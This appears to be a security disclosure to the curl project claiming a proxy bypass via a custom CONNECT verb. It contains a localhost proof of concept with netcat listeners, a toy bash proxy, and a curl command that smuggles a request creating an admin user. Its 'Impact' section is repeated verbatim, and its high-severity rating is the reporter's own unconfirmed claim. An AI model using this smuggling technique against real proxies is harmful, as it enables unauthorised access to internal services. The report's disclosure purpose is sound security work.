curl · Report #3231321
HTTP Proxy Bypass via `CURLOPT_CUSTOMREQUEST` Verb Tunneling
How it was found
Summary
A logic flaw in libcurl version 8.14.1 allows an attacker to bypass restrictive HTTP proxy firewalls by "tunneling" an arbitrary HTTP verb within a CONNECT request. By setting CURLOPT_CUSTOMREQUEST to CONNECT for a standard http:// URL, an attacker can trick libcurl into creating a hybrid request. This request is misinterpreted by CONNECT-only proxies as a legitimate tunnel setup request and is therefore allowed. Subsequently, libcurl sends its request body (e.g., from CURLOPT_POSTFIELDS) through this newly established, unfiltered TCP pipe.
This vulnerability effectively defeats network segmentation rules enforced at the proxy layer, enabling an attacker who can control curl options (e.g., via SSRF) to send arbitrary data to protected internal services.
| Product Name | libcurl |
| Affected Version | 8.14.1 (and likely prior versions) |
| Vulnerability Class | CWE-284 Improper access control |
| CVSS 3.1 Score | 8.6 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N |
Description
The vulnerability stems from insufficient validation between the user-defined request method and the request type libcurl assumes it is making when a proxy is in use.
- When a user provides an
http://URL and a proxy,libcurlprepares a standard, non-tunneled proxy request (e.g.,GET http://destination/... HTTP/1.1). - If the user also sets
CURLOPT_CUSTOMREQUESTto"CONNECT internal.host:port HTTP/1.1", this custom verb overrides the standardGET. - The request line sent to the proxy now begins with
CONNECT, which satisfies the security rules of a proxy that only permits theCONNECTmethod for establishing tunnels. The proxy allows the request and opens a raw TCP connection to the specified internal host and port. - Because the original URL scheme was
http://,libcurl's state machine does not enter its formal "HTTPS tunneling" mode. It proceeds as if it were making aPOST-style request (due to the presence of a request body) and sends the payload down the TCP pipe that the proxy just opened.
This allows an attacker to send arbitrary data directly to an internal service that should have been unreachable.
Proof-of-Concept (PoC)
This PoC demonstrates the bypass using standard command-line tools. It requires three separate terminal sessions.
Step 1: Set up the "Forbidden" Internal Server (Terminal 1)
This server listens on port 8081. Its purpose is to receive and display the smuggled payload.
echo "[VICTIM] Listening on 127.0.0.1:8081..."
nc -l -p 8081
Step 2: Set up the Restrictive Proxy (Terminal 2)
This proxy listens on port 8080 and only allows requests that start with CONNECT. It responds with a 405 Method Not Allowed for any other verb.
-
Save this script as
restrictive_proxy.shand make it executable withchmod +x restrictive_proxy.sh.#!/bin/bash read -r request_line echo "[PROXY] Received: '$request_line'" >&2 if [[ "$request_line" == "CONNECT"* ]]; then echo "[PROXY] Verdict: ALLOWED. Opening tunnel." >&2 destination=$(echo "$request_line" | awk '{print $2}') echo -e "HTTP/1.1 200 Connection established\r\n" # Pipe the rest of the client's input to the destination nc -w 5 $(echo "$destination" | sed 's/:/ /') else echo "[PROXY] Verdict: BLOCKED. Sending 405." >&2 echo -e "HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n" fi -
Run the proxy in a loop to handle multiple connections:
while true; do ./restrictive_proxy.sh | nc -l -p 8080; done
Step 3: Verify the Safeguard (Terminal 3)
This command proves the proxy correctly blocks normal GET requests.
# This request should fail.
curl -v --proxy http://127.0.0.1:8080 "http://internal-server.local:8081/status"
Expected Result: The proxy will respond with
405 Method Not Allowed, and thecurlcommand will fail. The Internal Server will receive no connection.
Step 4: Craft the Attacker's Payload (Terminal 3)
Create a file named payload.txt containing the data to be smuggled.
echo -e "POST /api/v1/users HTTP/1.1\r\nHost: internal-server.local\r\nContent-Type: application/json\r\n\r\n{\"username\":\"pwned\",\"is_admin\":true}" > payload.txt
Step 5: Execute the Bypass Attack (Terminal 3)
This command uses the vulnerability to bypass the proxy.
# This request should succeed in tricking the proxy.
curl -v --proxy http://127.0.0.1:8080 \
--request "CONNECT 127.0.0.1:8081 HTTP/1.1" \
--data-binary "@payload.txt" \
"http://ignored-url.com"
Step 6: Observe the Result
- Proxy (Terminal 2): Will print
[PROXY] Verdict: ALLOWED..., showing it was fooled by theCONNECTverb. - Internal Server (Terminal 1): Will stop waiting and print the contents of
payload.txt, proving the proxy was bypassed and the malicious payload was delivered to the protected internal resource.POST /api/v1/users HTTP/1.1 Host: internal-server.local Content-Type: application/json {"username":"pwned","is_admin":true}
Impact
The impact of this vulnerability is High. It allows an attacker who can control libcurl's options (a common result of a Server-Side Request Forgery vulnerability) to completely bypass network egress filtering rules enforced by CONNECT-only proxies. This can lead to:
- Internal Network Pivoting: An attacker can use a public-facing application as a pivot point to send arbitrary commands to internal, non-routable services such as databases, internal APIs, or cloud metadata services.
- Data Exfiltration: The established tunnel can be used to exfiltrate sensitive data from compromised internal systems.
- Firewall and WAF Bypass: Application-layer firewalls on the proxy that are designed to inspect
GETandPOSTrequests are rendered ineffective, as the attacker's payload is sent over a raw TCP pipe that the proxy is not configured to inspect.
This turns a potentially moderate-risk SSRF flaw into a critical internal network access vector, significantly elevating the overall risk to an organization's infrastructure.
Suggested Mitigation
The logic in lib/http.c should be hardened to create a stronger link between the URL's scheme and the allowed HTTP method when a proxy is in use. A recommended fix would be:
If an http:// URL is used with a proxy, libcurl should explicitly forbid CURLOPT_CUSTOMREQUEST from being set to CONNECT. The CONNECT method should only be used by libcurl's internal tunneling logic when an https:// URL is being proxied, and it should not be a user-controllable verb for standard http:// proxy requests. This would close the logical gap that allows this bypass.
Impact
Summary:
The impact of this vulnerability is High. It allows an attacker who can control libcurl's options (a common result of a Server-Side Request Forgery vulnerability) to completely bypass network egress filtering rules enforced by CONNECT-only proxies. This can lead to:
- Internal Network Pivoting: An attacker can use a public-facing application as a pivot point to send arbitrary commands to internal, non-routable services such as databases, internal APIs, or cloud metadata services.
- Data Exfiltration: The established tunnel can be used to exfiltrate sensitive data from compromised internal systems.
- Firewall and WAF Bypass: Application-layer firewalls on the proxy that are designed to inspect
GETandPOSTrequests are rendered ineffective, as the attacker's payload is sent over a raw TCP pipe that the proxy is not configured to inspect.
This turns a potentially moderate-risk SSRF flaw into a critical internal network access vector, significantly elevating the overall risk to an organization's infrastructure.